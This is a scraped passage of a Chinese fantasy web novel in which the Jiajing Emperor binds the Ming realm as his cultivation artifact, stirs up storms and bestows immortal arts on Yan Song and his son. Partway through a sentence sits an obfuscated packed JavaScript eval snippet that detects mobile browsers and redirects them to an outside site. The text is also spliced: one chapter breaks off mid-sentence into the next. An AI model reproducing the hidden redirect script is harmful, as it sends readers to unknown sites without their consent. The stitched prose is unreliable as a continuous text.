“哗!”突然嘉靖大手一挥,掌中大明陡然放大,在大殿之中浮现。 而后他有一招手,大明又变小,还做被金色光球包裹的,小巧的像个玩意儿的本命。 掌中大明,天下于我如万物! 冥冥中,嘉靖有预感,若是自己绑定大明,将大明视作本命物,那么整个大明天下,都将任由自己生杀予夺。 “天灾,是整个世界范围内的,而这一方大明是朕一个人的,不知朕可否对抗整个自然之力……”想着,嘉靖眸光闪烁着。 “那又如何,”嘉靖抬手,本命大明缓缓悬浮于前,语气低沉道:“若对抗不了整个世界,那便将整个世界都囊括在大明版图之中。” “吼!”无形中,似是有恶龙咆哮,筑基成功诞生神识,意味着可以绑定整个大明,嘉靖心底那一直被压抑可知的贪婪彻底爆发。 没有皇帝不想着开疆拓土,嘉靖也一样! “呼,”轻呼出一口气后,嘉靖运转功法,又将心底那股野心平复,“该绑定大明了。” 说着,本命物浮动,悬浮于面前。 之所以没有在修仙世界绑定本命,是因为考虑到自己本命特殊,担心会出现什么变故,再加上原本就打算回大明,回来绑定也一样。 现在李长卿盯上了自己,别看似乎是忘却了,但这不意味着对方真就放弃了。说不定整个大明仙宗,都已经在对方的监视之中了。 所以再怎么小心谨慎都不为过。 本命与本命物的绑定并不复杂,只需分出一缕神识,将本命和本命物勾连即可。嗯,就相当于是用绳子,将两个物件,绑定在一起。 不过这根绳子是神识,说直白点就是元神,而物件一头是本命,一头是本命物。 双眼闭上,嘉靖的神识从眉心探出。 整个大明都是本命物,所以嘉靖的这具身体,也可以看做是本命物的一部分。 这就好比说,现在用一根绳子,绑定一个茶壶,绳子的一头绑在了茶壶把手上一个道理,绑定把手,也就是绑定了这把茶壶。 神识化作嘉靖的模样,站在本命大明和自己的本体中间,心中一动,手指抵在眉心,继而就见一条手指粗细的透明状的筋条出现。 这当然不是什么筋条,而是神识出来的一缕神识。 神识的本质就是元神,因此在修仙世界,有的书本上说的是神识,有的说是元神,还有些更直接,说的还是灵魂,这与习惯称呼有关。 就跟有些人地方把老虎叫大虫,也有些地方叫做寅将军一个道理,根本是不变的。 “绑定哪里好呢?”手牵着筋条一样神识,嘉靖看着面前的本命大明,心中思索。 心中一动,本命大明放大,嘉靖想都没想,首先就将目光看向了面前的皇宫。 嘉靖原本是想绑在自己的龙椅上的,后来又摇头否决,又想到了玉熙宫某处,但又觉得不是很合适,始终没有一个合适的点。 “不如绑定整个皇宫?”忽的,嘉靖心中一动,将目光看向了整个皇宫。既然绑定皇宫一角哪里都不合适,那不如直接绑了整个皇宫。 本命大明开始缩小,决定了嘉靖也不迟疑,直接将神识摄入了“华盖殿”。 嗯,谁让话华盖殿是整个皇宫最中心呢。 “嘭!”神识直接从“华盖殿”下方遁入,直接深入地底,继而从本命大明上空直接钻出,一条透明状筋条的一头在意念控制下,透明状筋条直接打了个死结固定。 然后,嘉靖拿着另一头,来到自己的身体跟前,这次没有多想,直接控制着另一头,在自己的右手腕处,打了一个死结。 “嗡!”几乎是绑定瞬间,本命大明猛的一颤,下一刻嘉靖就发现神识被一股不受控制的吸力猛的一吸,直接摄入了识海。 几乎是同时,他的本体双眼猛的睁开。 “嗡嗡嗡。”本命开始剧烈颤抖,原本被灰雾笼罩的本命这一刻灰雾瞬间消散。整个本命本命,颤抖着,似乎是在兴奋,欢呼一般。 继而,嘉靖就看到本命大明上空,突然乌云堆积。 跟着突然耳边响起“轰隆”一声闷雷。 时窗外天已经大亮,也就是在这一瞬间,天穹又再次暗了下来。 这突如其来的一幕,让整个大明,早起的官员、百姓,都是下意识的抬头看去。 然而这不抬头不要紧,一抬头顿时整个大明境内,所有臣民都目瞪口呆。 一些胆小的臣民,甚至当场就跪了下来,开始连连祷告老天爷。 只见天穹之上,乌云翻滚如海浪。 而在那乌云深处,一双金灿灿的眸子,在云层深处,俯视着整个天下。那双眸子中,迸射出两道巨大,如刀片一般的金色光芒。 隐约间,甚至有人在云层深处,看到了模糊不清,但又确定是人脸,还有人脸下方,那虚幻不清,却又隐隐有几分躯干轮廓的影子。 这,这分明就是一个人,在俯视着整个天下! 老天爷,显灵了?! 当然,此刻要说最惊疑不定的,还要数裕王、景王、吕芳以及严党和清流等人。 毕竟他们可是知道仙人存在,甚至自己等人已经有了仙朝仙官官身的。 此刻看到这,好似老天爷显灵的一幕,一个个也是如遭重击,心中掀起了滔天海浪。 仙人,绝对是仙人,仙人为何突然显圣天下?俯视整个大明?! 莫非皇上他,惹怒仙人了?! 否则,为何宫里什么消息都没有?! 一瞬间,别说严嵩等人心头骇然,惊疑不定,掀起惊涛骇浪了。 就算是吕芳、陆炳和海瑞这三个知晓当日葬灭阴山的不是什么仙人,而是皇上的知情者,也是在这一刻,心中骇然不已。 毕竟他们也心里猜测,皇上的仙法是哪来的,那只能是仙人赐予的了。 仙人突然如此, 而且看那严肃审视天下的眸子,似乎是蕴藏着无上的威严一般。 难不成,仙人跟皇上之间,出了什么事?毕竟,这都一年多了,皇上一直不出。 这次闭关,比以往任何一次都长。 宫里也没有任何的消息传出,还有,若是仙人要视察人间,以皇上对仙人的尊敬,又怎么可能不准备? 吕芳来不及多想,急匆匆的冲向玉熙宫! “……” 今天有点忙,先更7K+看着,等会还有,可能要晚些~~ 第一百四十一章 本命功效,赐仙法,羡慕嫉妒恨,严嵩成众矢之的! 严府,院子里。 “爹,仙,仙人!?” 小阁老严世蕃,抬着头,张大着嘴,整个人都处于一种呆滞中。 一旁的严嵩也是抬着头,瞪大着一双浑浊的老眼,看着天穹之上那金灿灿,充满无上威严的眸子,眼神中茫茫的全都是不可置信之色。 仙人,为何突然于人间显圣?! 此前他们倒是听说了阴山葬灭的当日,有将士看到了仙人临世,可毕竟没有亲眼所见。 此时亲眼看到这仙人显圣的一幕,心中说不震惊那是假的。 “入宫!”突然,回过神来的严嵩,几乎是想都没有多想,说话间直接冲入了大堂之中,“来人,更衣,快更衣,备轿!” 听到老爹的嘶吼声,严世蕃也是浑身猛的一个激灵,猛的反应过来,也折身冲向大堂。 此时,裕王府,刚刚睡醒没多久,抱着已经出生有三个月的儿子,瞪大着眼看向天穹。 “王爷,那,那是什么?!” 已经成为王府第一宠妃,虽然依旧是侧妃,可如今地位上完全不在正室之下的李氏,害怕道。 “拿着,”反应过来的裕王来不及多想,一把将怀里的儿子递给李氏,转身就朝着大殿内走去,“来人,更衣,备轿,本王要进宫!” “快来人,不长眼的东西,别愣着了,备轿去!”李氏也赶紧招呼着王府中的众人。 与此同时,宁波府。 知府衙门后堂空地处。 “老天爷显灵了,老天爷饶命,老天爷……”海瑞的妻子和老母,也像是大多数百姓一般,跪在地上双手合十,对老天祷告着。 嗯,双手合十这种举动,是他们从寺庙里学来的,下意识的觉得敬神就应该这么做。 此时,站在屋檐下的海瑞,抬头凝视着天穹之上,那审视着整个人间的威严虚影,眉头深锁,眼神中满是担忧之色。 “仙人吗?到底出了何事?为何如此……”海瑞从来都不认为,嘉靖踏上仙途是靠自己。 虽然之前葬灭阴山的不是真正的仙人,而是皇上自己,可皇上的仙法从何而来? 所以内阁众人猜测的,皇上身后站着仙人,甚至可能是一整个仙界这种猜测,也不是完全无迹可寻,反而非常的合乎情理。 因为海瑞自己也是这么认为的。 所以此时看到这一幕,海瑞心中第一时间想的,也是皇上是否和仙人之间,发生了什么。 皇上虽然已经踏上了修仙之路,可若是跟仙人之间有了冲突或是不愉快,也难逃凶多吉少。 “老爷,老爷,不好了,远处海面上突然掀起无尽海浪,飓风,仙人发怒了!” 仆人从外面闯了进来,满脸的惊恐之色,直接“噗通”一声跪在了地上。 心中一动,海瑞深深看了一眼那天穹之上,惊扰整个人间,可能是仙人的虚影一眼,转身大踏步进入了内堂房间之中。 而后,直接跪在地上,开始祷告了起来。 “天地异象,疑有仙人惊扰人间,臣海瑞有心皇上,敢问是何缘故……” 海瑞一遍遍不厌其烦的说着。他期许皇上若是听到他心中所想,能够给予回应。 西苑外,裕王、景王,严嵩父子,徐阶、高拱、张居正和赵贞吉等人,已经焦急的等在了宫门口,不过他们却被陈洪带着西厂拦住。 “陈洪,你敢拦二位殿下!” 小阁老严世蕃指着陈洪,怒声喝问。 不过是个阉人,仗着是家奴,得了几分恩宠,现在还敢翻天了不成! 以往他懒得跟这些阉人废话,以至于这阉货越发的嚣张狂悖,上蹿下跳,没想到今天竟然敢公然将他们拦在西苑外。 现如今的西苑,在他们眼中,那已经是仙家福地一般的存在,每三个月他们会被允许进入灵田小院一次,领取仙禄。而裕王跟景王二位殿下,也是每三日才能进入一次。 如此重要之地,行,一些时候不让进就不让进吧,他们也没有异议。 虽然知道玉熙宫有皇上和吕芳坐镇,但那事关他们日后能否真正踏上仙路的福地,他们还是觉得,不管怎么管理严格都不为过。 可是有轻重缓急,这都什么时候了? 没看到头顶上有仙人审视人间吗,这个时候必须要见皇上,不管怎么说,要问清楚不是? 这可事关他们在场每个人的未来长生大计。 若是皇上真的跟仙人之间出现了什么矛盾,他们也好赶紧跟着帮忙想想对策啊。陈洪这狂悖阉人,竟然还拦着他们,简直混账! 此时,内阁所有人,都是目露不善的盯着陈洪。 “哼,”然而面对内阁众人的眼神,陈洪却冷哼一声,看都不看一眼,只是恭敬的对着裕王跟景王,道:“二位殿下,主子此前吩咐的,未到入宫修炼之时,任何人不可进宫。” “随着如今身居仙官官身之人增多,仙禄和每日在灵田小院身处的时辰都要严格管控。” “二位殿下昨日入宫修炼,两日后才能继续入宫修炼,其余时间,宫里会专门送灵物资源入王府,还请二位殿下莫要为难奴婢。” 陈洪虽然话说的恭敬,可 态度却非常明确,谁都不能进玉熙宫,除非有旨意明确下达。 听到这话,裕王跟景王也是脸色一沉。 他们早听说陈洪狂悖,目中无人,但平日里根本不将其放在眼里,毕竟你再怎么狂悖,还能在我们这些皇子面前狂悖不成? 不过今日,他们倒是真的体会到了陈洪的嚣张。 “狂妄!”裕王压抑着怒火喝道:“本王今日若是要强闯,你敢拦吗!” 说完,裕王根本不理会陈洪,大手一甩,招呼众人,“随我去见父皇!” 说着,冷冷盯了一眼怔在原地,面色难看的陈洪,大步踏入了西苑之中。 “哼!”景王在路过的时候,也冷哼一声,甩袖而去。 二王身后的内阁众人,这次再次用正眼看陈洪了,但眼神中的冷意,谁都能看出来。 虽然司礼监陈洪等人也被敕封了仙官官身,可对于同样有官身的内阁众人来说,彼此的身份地位,根本没有任何的改变。 哪怕有一日,大明成为仙朝,他们依旧是内阁诸老,而你陈洪也不过是个阉人。别忘了,司礼监中,还有个吕芳,你陈洪算什么东西! 被众人冷待的陈洪,那敏感脆弱的神经,再次被刺痛,看着众人进入西苑的背影,站在原地,拳头捏的嘎嘎嘎响。 这一刻,他突然发现,自己活的依旧像是一个喽啰一般,整个人就像是一个笑话。 不管他多能力,多么被主子赏识,这些人始终不将自己放在眼里过,也从未看到过自己。 陈洪自认为,自己不是个普通太监。 他是一个有追求,甚至想要名垂青史的太监。 他瞧不上那些没有追求,没有梦想,甘于现状的太监,他认为自己的一切要争取。 而他也是这么做的,他如今能成为西厂督主,就是自己一步步挣来的。 所以,他的人生中,除了争取还是争取,会争才会赢,得到自己想要的一切。 “你们会后悔的!”狠狠怒了一下的陈洪,收拾好心情后,做了个深呼吸快步入了西苑。 众人急匆匆来到玉熙宫的时候,就看到跪在地上的吕芳、陆炳、清风、黄锦、石三。 而玉熙宫的大殿则是紧闭着。 “二位殿下强行闯进来,我……”陈洪快步跑了上来,见吕芳看来赶紧解释。 嗯,他现在是对吕芳,那是根本没有半分不服气了。 吕芳抬了抬手,打断了陈洪的话,表明自己知道了,然后对裕王等人微微颔首示意后,便继续沉默的跪在玉熙宫外。 “呼……”这时,突然一阵大风吹来,继而天穹之上,飘起了雪花。 如今正是嘉靖四十二年十二月,早已入冬,再加上大明天气本就反复无常,雨雪交加不断,还未入冬,有时便已是雪花飘飘。 裕王等人见此,也都上前跪在吕芳等人身旁。 天穹之上,那威严的仙人虚影依旧存在。 众人不知道仙人想干什么,现在唯一的希望就是从皇上的口中,得知这到底是什么。 此时,玉熙宫内。 嘉靖确实遇上了一些问题。当然,这个问题是他自己搞出来的。 在绑定大明的第一时间,他就开始尝试着操控大明,并一步步尝试着脑海中,绑定本命后出现的感悟,比如对本命物的掌控。 其中就有对大明境内的天气操控。 他尝试着将大明其他地方的降雪天,转移到京城上空。 这是初步对整个世界的自然之力的试探。 毕竟,他绑定的本命物是大明,而大明不过是地球上的一隅之地而已。但风霜雨雪,四季气候,却是整个世界的自然之力。 若是他想操控四时气候,就等同于是对整个天地自然进行了干扰,等同于是牵一发而动全身,必然会引起整个自然之力的抵抗。 而事实也确实如他所想的那般,在他将大明沿海地区的降雪天气,强行用意志拉扯干预到京城上空的一刻开始,随之而来的是反扑。 比如海外气候骤然涌入,导致在属于大明海域的地带,直接掀起了滔天的风浪。 眼看着就要朝着整个宁波席卷而去,届时对于整个沿海来说,都将会是一场无尽的灾难。 为了避免整个沿海地区遭难,嘉靖不得不用意识,努力的平息着海浪,还有气候,然后将其均摊到整个大明境内。 也是这一天,整个大明境内,天降暴雨,雨雪、冰雹骤然落下。 海面那无尽的风浪,这才渐渐平息。 但即便如此,依旧让沿海一些渔船和房屋,遭到了冲击。 在嘉靖的竭力控制和引导之下,这才避免了百姓的伤亡,而内陆地区的山洪和地震,也都避开了百姓,和大部分的农田。 “呼……”看着逐渐平复的大明,嘉靖这才呼出一口气,此时他额头上细汗密布,饶是他筑基期的修为,此刻也是面色苍白。 此时,看着全国境内下雨的大明,还有那些被自己引导,改道的河流,洪水,嘉靖心头一阵后怕,同时还有深深的忌惮。 仅仅只是将沿海地区的一场降雪还有冷空气抽调至内陆,竟然引发了整个自然之 力的反扑。 那股力量,仿佛是整个世界的意志般,若是他不及时做出补救,那整个东南就完了。 这一刻,嘉靖明白了,自己如果动了,动的就不光是整个大明境内的四时气候,而会遭到整个世界的针对,这是自然规律的反抗。 “自然规律,世界规律,世界之力,”嘉靖低头思索片刻后眼底精光爆闪,沉声道:“其实,这就是整个地球的天道之力!” 天道是什么?就是世界法则运行的一套规律,任何违背,或者说是打破世界法则运行的力量,都是一种对整个世界的挑衅。 不同的是在修仙世界,世界法则运行的这一套规则,更为严苛,繁杂而庞大。 其中囊括了万物生长,生灵的生老病死,修炼等等一切,甚至还蕴育了各种特殊能力。 比如天罚、雷劫、还有修士之间可以立下的血契,发誓等等,都由世界法则囊括进去。 但大明没有,相比之下就是修仙界的世界法则运行规律更为复杂、庞大、灵活。 而大明所在世界的世界法则运行规律更为简单,只是维持了基本的世界框架,仅此而已。 不过世界运行规律也是会蜕变的,比如这方世界,若是出现了灵气这种不该存在的东西,那么世界法则运行规律就会自适应。 然后再自己的运行规律上,加入进去。 再比如出现修仙者,那么同样会出现相应的,法则规律将修仙者囊括进去。简单来说,就是万物生灵,皆在道之内! 这些都是嘉靖在绑定本命物后,冥冥中油然而生的一种明悟,就像是悟道一样,自然而然的就明白了这一切。 不过即便是简单的世界法则运行规律,也不是一个筑基修士的意志可以随意挑战的。 嘉靖刚才是想要改变自然气候,这等同于是在向整个天道挑衅,自然会遭到反扑。 若是只对大明境内的简单**进行一些小范围内的干预波动可能不会有什么大反扑,但若是直接抽调其他地域的雨雪就不行了。 别说这世界自然规律不允许被乱来,就算是用后世科学的角度解释,众所周知什么冷空气,什么热带风,可都是全球性相关的。 什么时候到哪里,在哪里消失,都是自有一套规律,嗯,理论作为支持的。 突然抽走沿海形成的冷空气还有降雪,海上局部气压骤然降低,从而引发风力加剧,可不就是风浪掀起了吗?嘉靖对这些不太懂。 但诸法同归,道理就是这个道理。 别看后世的科学跟仙道是两条路,可有些道理的底层逻辑是不会变的。 仙道说,世界是法则运行,万物遵循天道,后世的科学角度说,这是各种物理规则。 想及此处,将这些念头压下后,嘉靖缓了缓,心中一动掌心之中的大明缓缓缩小,化作一颗被金色包裹的金球。 在他手腕处,那透明筋条状神识,勾连着光球,然后又缓缓隐去。 也是这一刻,大明天穹之上的虚影也缓缓隐去,乌云翻滚的深处金光消散。 继而是满天的鹅毛大雪,飘荡而下。 也是这短短不到一炷香的功夫,整个大明百姓见证了天地异象的可怕。 很快,各地官府开始出面,安抚民众。 此前大同就传出有仙人降世,内阁已经总结出了以他捂嘴流程,相应事件处理流程,也都早早的随着吏治的肃清整顿下发了下去。 一时间,随着官府的安慰,虽然百姓依然对刚才那恐怖的异象,还有各地遭遇的地震、山洪,山体崩塌,感到心惊和害怕。 只是对老天爷的存在,越发的深信不疑了起来。 玉熙宫外。 严嵩等人看着天穹之上的异象消失后,眸光颤了一颤,确实不知道这代表着什么。 是否皇上跟仙人在交谈?彼此达成了某种约定?又或者是其他什么? 不过这些他们都不得而知,只能在心头不断盘算着各种可能会遭遇的问题。 现如今,皇上已经对他们言明了修仙的事实,而且他们也已经被敕封了仙官官身,所以他们也是有资格讨论跟仙界的对策的。 玉熙宫中的嘉靖,自然不知道众人所想,此时,他看着漂浮在面前的大明,心思百转。 绑定本命物之后,他的脑海中冥冥中有了太多太多的感悟,对大明天下直接通过本命进行‘上帝视角’一般的干预只是其中之一。 其中还有一个在他看来,足以为大明捞取修仙世界巨大好处,最便利的法子。 “本命物绑定,但大明依旧是个凡人国度,想要尽快反哺本命,就必须让它蜕变……”心中想着,嘉靖大手一挥,本命大明一角放大。 然后将本命大明中的灵田小院单独摘了出来,像是零件一样,风离开来悬浮在眼前。 没错,就像是积木玩具一样,在神识绑定本命物后,本命可以任意由主人心意而改变。 现在的本命大明,他可以任意的拆卸、组装,甚至是单独拿出一部分出来观看把玩。 不过,这不是绑定本命物后的重点。 重点是他可以将单独从本命大明上摘出来某一部分,直接送入 修仙世界之中,从而通过本命,吸收灵气,从而与本命物大明勾连。 比如,他将本命大明里的一条河放入修仙世界的一条河与之融合,那么在本命物大明这边对应的那条河,也就与修仙世界勾连了。 若是那条河是一条汇聚着灵气的河,那毫无疑问本命物大明这边,这条凡河也会滋生灵气。 反之亦然,他本身就是本命物大明,他自己可以勾连修仙世界,那大明的一切也可以在自己的意志影响下,进入修仙世界。 同样的一条河,他随时可以将一条凡河,直接从本命物大明这边挖出来,投入修仙世界。 不过,这么做没有意义。 把本命物放过去,与一些地域融合,可以从根本上汲取源源不断的灵气通入大明。 但把大明放到修仙世界,那等同于举国进入修仙世界了,突然放进去死都不知道怎么死的。 至于把人放过去,虽然这些人也是本命物大明的一部分,受自己的意志管控,随时可以带回来,但人心思变,嘉靖是不会轻易这么做的。 修仙世界何等神奇何等之大,万一有个奇遇,脱离掌控,虽然这种可能性很小就是了,但嘉靖也不愿平白给自己找麻烦。 他连儿子都信不过,自然就更信不过其他人了。 只需要将本命大明的部分摘出来,送入修仙世界,比如说将整个本命大明找一条灵脉,放进去,那照样可以将灵脉灵气引流进来。 这算是自己正式获得灵脉之前,快速让大明发展起来的方法之一。甚至,短时间内,他都不需要为弄灵脉而操心。 比如,裕王府裕王要修炼?简单,那就把本命大明中,裕王府这一部分拆下来,送入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669358|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大明仙宗的灵脉之上,源源不断的灵气就会涌入。 若是把整个大明都按在大明仙宗的灵脉之上,那大明全境之内,都会有灵气诞生。 这就等同于是打了一口井,源源不断水从地底涌入地面一样的道理。 与给大明种入灵脉相比,就是一个是打井吃水,水是地下河的。另一个是自己自足。 不过眼下,他还没有弄到灵脉,自然不急着给大明这边种入灵脉,只能以这种方式了。 之前李长卿给的九品灵脉,他不能拿回来的,一来他需要向宗门表明没有二心,二来李长卿给自己灵脉,本身就是对大明的投资。所以,灵脉这东西,嘉靖还是希望自己去弄。 “如此,朕将大明的部分拆出来,放在宗门之中,吸收灵气倒也不算是偷了……” 想着嘉靖心中一动,将灵田小院这部分单独从本命上拿出来,心中一动沟通修仙世界,整个人又返回了修仙世界的传承阁内。 这也没办法,他倒是可以不用过来,直接将灵田小院放在这里,但也得将其安置对地方不是?所以,他不得不亲自跑一趟。 看着手上的灵田小院,嘉靖心中一动,打出一道遁地符箓,直接从传承阁进入地底。 随着他不断下潜,灵气就越发的浓郁。传承阁自然也是通了一条灵脉支流的。 一路下潜,终于看到了一条深埋地底的,透明状,粘稠液体的支流,足有人的身体粗壮。 看到这一幕,嘉靖维系一口气,摊开手掌,下一刻灵田小院就被他拿了出来。 心中一动,看着手上被金色包裹的,只有本命大明一小块的灵田小院,放在了灵脉上。 而后,嘉靖又在周围布下一道禁制,一旦被人碰触,他就会第一时间感应到。 不过也不影响,就算是在大明,他也可以通过本命,察觉到地底的一切。 一旦有不正常的地方,他随时可以召回。 返回传承阁后,嘉靖心中一动,返回了大明。 神识探出,查看玉熙宫后的灵田小院,果然发现,源源不断的鲜活灵气滋生而出。 “嗯,接下来倒是可以专门在京城外,开辟出一片修炼福地来,通过勾连修仙世界,当做是大明的修炼圣地……” “不过如此一来,宗派这边,只融合了两条灵脉,多少有些不够了…后续灵脉生意走通以后,融进去几条高品质的倒也可以支撑。” 将心底这些想法,暂且压下后,嘉靖的视线,这才看向玉熙宫外。 裕王和景王,以及严嵩等内阁众人跪在门外的事情,他已经知晓,不过先前顾不上而已。 拿起身旁的罄锤随手一摆,随着‘铛’的一声响起,声音悠扬绵长,传入内阁众人耳中。 听到这个声的严嵩等人,身体一颤,下意识的抬头朝着玉熙宫紧闭的大门看去。 “吕芳。”悠悠之声响起。 听到呼唤自己的吕芳心头一颤,来不及多想赶紧起身,拍了拍身上的积雪,赶紧起身朝着玉熙宫大门而去。 众人听到皇上的声音,都仔细揣摩着其中是否有什么不同,但可惜他们什么都没听出来。 “奴婢吕芳恭迎,太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下出关。” 吕芳进入大殿的第一时间,立刻滑跪在地上,脑袋杵在地板上,大声恭贺着。 “起来吧,”看着跪在 地上的吕芳,嘉靖面容微宽,道:“沐浴。” “是,”吕芳不敢怠慢,“奴婢这就去安排。”起身的同时快速看了眼嘉靖的面色,发现主子的脸色有些苍白,眉宇间有疲惫色。 吕芳心中不由的一揪,以往主子出关,都是红光满面,精神饱满,这次怎么……莫不是真的与仙人之间,发生了什么? 一时间,吕芳心乱如麻,出门看着抬头望来的黄锦,压低声道:“准备沐浴更衣。” “是。”黄锦看出吕芳眉宇间的一抹阴沉,也顾不上身上的积雪,起身就走。 “我也去。”陈洪也是会察言观色的,低声说了一句,赶紧起身跟上,石三也一样跟去。 严嵩等人自然是在吕芳露面的第一时间,就死死盯着吕芳的神情。 通过观察吕芳的神情,众人心头都不由的一沉,同时暗道一声,果然出事了! 一时间,心都不由的沉了下来。 嘉靖自然不知道这些人心里这么多戏,他确实很累,不过那是之前对抗“天道”的原因,俗话说,就是抻到了,所以才会如此。 这是元神上的消耗,需要好好静养恢复,可不是单纯的短时间打坐修炼就能行的。 很快,吕芳就准备齐全了沐浴的一应物什。 正是窗外飘雪天,嘉靖舒服的躺在冒着热气腾腾的浴桶里,不自觉的发出一声低吟。身后,吕芳则是给他轻轻按压着头上穴位。 而在玉熙宫外,裕王、景王、清风、内阁众人,都跪在门外,心思各异的等候着。 “主子……”这时,吕芳突然开口,有些欲言又止。 “知道你想问什么,”嘉靖闭眼说着,“放心,朕无碍,只是突破筑基后,做了一些尝试,有些疲惫而已,总的来说……” 说着,嘉靖面容微宽露出浅笑,“算是修为突破筑基,喜事!” 筑基?!听到主子的话,吕芳先是心里一宽,主子没事就好,不过当听到主子竟然突破到了修仙路上的第二个大境界,成为筑基期的修士,吕芳顿时一愣,继而面色狂喜。 “奴婢恭喜主子帝君仙途再进一步!”说着,直接跪在了地上,大声道贺。 “起来吧,”嘉靖说着,“裕王的孩子生了?”既是闲聊,嘉靖自是不会说国事。 听到这话,吕芳起身继续给嘉靖按压着头上的穴位,脸上也挂起笑容。 “回主子,是个小世子。”说着,语气微微一顿,“嘉靖四十二年九月初四生。算到今日,满打满算正好百日。按照祖制,百日后主子是要为世子赐名的。” 皇子的命名通常遵循一定的规制和礼仪。新生的皇子在百日时需要由皇帝赐名,并传谕礼部进行登记,然后在宗人府记录到玉牒上。 当然,现在的皇帝是嘉靖,裕王的儿子,自然也是要经过嘉靖手的。 果然是朱翊钧……心中想着,嘉靖暗道一声果然,对于裕王的儿子是谁并不意外。 “对了,”这时,吕芳又道:“还有个喜儿,景王妃今日也找了宫里的御医请了喜脉,想来也是有了,恭喜主子再添皇孙。” “呵,”听到这话,嘉靖严肃的面容宽慰下来,“还不一定是孙子呢。” 大明皇室,子孙绵延,他自是欣慰的。 “就算是小郡主,也是好的。”吕芳附和着笑道。 嘉靖面露笑容,没有说话,不一会便在吕芳的按压下,沉沉的睡了过去。 吕芳则是一边按着,一边测试着水温,只要水凉了,就会立刻从一旁的火炉上取下热水壶,往浴桶里不时的添加热水。 殿外大雪纷飞,不知道过了多久,嘉靖打了个哈欠,睁开眼,伸了个懒腰。 嗯,他已经许久不曾这么舒心的睡过了。 自从踏上修仙一途开始,他睡觉的时间就不算多,心里总是压着一个目标。 就算是在大明的时候,也是修炼时日多于睡眠的时间,如今突破筑基,又绑定了本命物,基本上解决灵气问题,算是完成了一个大目标。 一时间,心中前所未有的轻松之下,收起修为后,这才沉沉的睡了过去。 “朕睡了多久?”说话间,从浴桶中起身,接过吕芳递来的白色宽松道袍披上。 “主子睡的踏实,两个时辰。”吕芳说着,瞥了眼窗外的大雪,又道:“国师,二位殿下,还有内阁,司礼监还在殿外跪着。” “嗯,”嘉靖点了点头,走上道台里的精舍,“去煮上一锅灵粥,给他们暖暖身子……让都进来吧,他们也是有孝心的。” “是,”吕芳微微躬身,并没有忙着去柜子里的玉盒中,取灵米,而是先去了门外,“主子心疼诸位,都进来吧。” 此时,大殿外众人身上已经积了厚厚一层雪,一个个就像是雪地里的雪人一样。 “是,谢皇上。”听到嘉靖召唤,众人赶紧道谢,也顾不得被冻僵的身子,缓了缓,抖落积雪,赶紧起身,朝着玉熙宫走来。 吕芳见此,抬手一道柔和的灵气打出,将众人裹挟,驱逐了众人身上的寒意。 这些人一直都用灵物滋养着身体,所以雪地里呆了这么一会倒也没什么大碍。 尤其是陆 第一百四十二章 大明贪婪,赵贞吉出手!众人:嘶,此獠竟如此阴险毒辣?! “起来吧,”嘉靖虚抬了抬手,示意严嵩起身,“这些都是你应得的。” “老臣,谢皇上。”感动佝偻着背,站起身,将手中那几页薄薄的,记载着仙法的纸,小心翼翼的揣入袖兜里。 这可是仙法啊,自从知道修仙这回事后,什么金钱,什么权利,都不如修仙长生! 一直以来,他所求的不就是这个吗? 如今终于是得偿所愿了! 至于此时,身后那投来的一道道羡慕嫉妒恨的目光,他浑不在意。 他严嵩,又什么时候在乎过旁人的目光。 而且,从今日起,自己与他们这些凡人,可就不是一路人了,这就叫仙凡有别! “不要羡慕,”这时,精舍里的嘉靖看向眼巴巴,望眼欲穿的严世蕃,笑道:“你爹有的,你自然也能有,这仙法你们父子一块修炼。” 什么?!听到这话,众人心中又是一惊,继而那宽大袖口里的拳头,又是猛的攥紧。 严世蕃也能修仙了! 此前他们在灵田小院里相遇的时候,是知道陆炳也修炼仙法的。 交谈中,可是从陆炳口中得知,虽然他也被皇上赐下了仙法,但是没有皇上的允许,陆炳的儿子陆绎,也是不能修炼仙法的。 但是现在,皇上刚赐予了严嵩仙法,就开口允许严世蕃也能跟着修炼。 严世蕃,他凭什么?就凭他比他们所有人都有个好老子吗?什么都没做,就沾了他老子的光,然后就能跟着修仙了? 这一刻,这些平日里高高在上,习惯了被旁人羡慕嫉妒的目光所注视的朝廷权贵,终于体会到了一把普通人才能体会到的感觉。 “神明天纵,无过帝君,臣谢帝君垂怜恩赐,臣定当……万死不辞!”严世蕃激动的当场跪下,表忠心。 果然,皇上没有忘了他严世蕃! 然后,谢恩之后的严世蕃,便在嘉靖的示意下起身。 不过回头看到众人羡慕嫉妒恨的眼神后,相比于老爹严嵩的淡然,他可就表现的明显了。 看?看什么看? 这是老子应得的,不要忘了皇上闭关修炼的时候,这大明朝两京一十三省的担子,都是在谁的肩膀上担着! 跟我比?你们够格吗,一群凡人! 嗯,小阁老此刻,已经很自觉的有了仙凡有别的心态了。 “有了仙法,也需要灵气修炼,”这时,嘉靖的声音再次响起。 闻言,严嵩父子更是听的格外认真,毕竟这事关的可是他们严家。 “朕再赐你严府一块灵田。”嘉靖的声音刚落,众人心头再次一沉。 只有严嵩父子激动的浑身颤抖! 为什么,为什么皇上如此恩宠这对奸贼父子。 这一刻,别说徐阶、高拱等人,就算是裕王跟景王也都心里直泛酸水。 吕芳也是一惊,下意识的,朝嘉靖投去一个惊讶的眼神,不过很快他便收敛了面部表情,不过心中却已然是有了些计较。 他知道,皇上这次,应该是拥有了更多的仙缘。很有可能跟之前天穹之上的异象有关。 莫非皇上在仙界得到了一些好处?、 其实到了现在,不管是知晓当初葬灭阴山的人是嘉靖的吕芳、海瑞二人,又或者是不知晓内情的内阁众人,心中都有着共同的猜测。 那便是皇上的仙法来源肯定是传说当中的仙人,甚至很有可能是神游太虚,意外进入了仙界,被仙人受法,所以才会踏上修仙之路。 不过这些都只是他们心中的猜测。 具体真相如何?即便他们心中已经确定是这就是真相,那也绝对不敢向皇上问出口。 这是绝对的禁忌! 没有人会蠢到去触犯这块逆鳞。 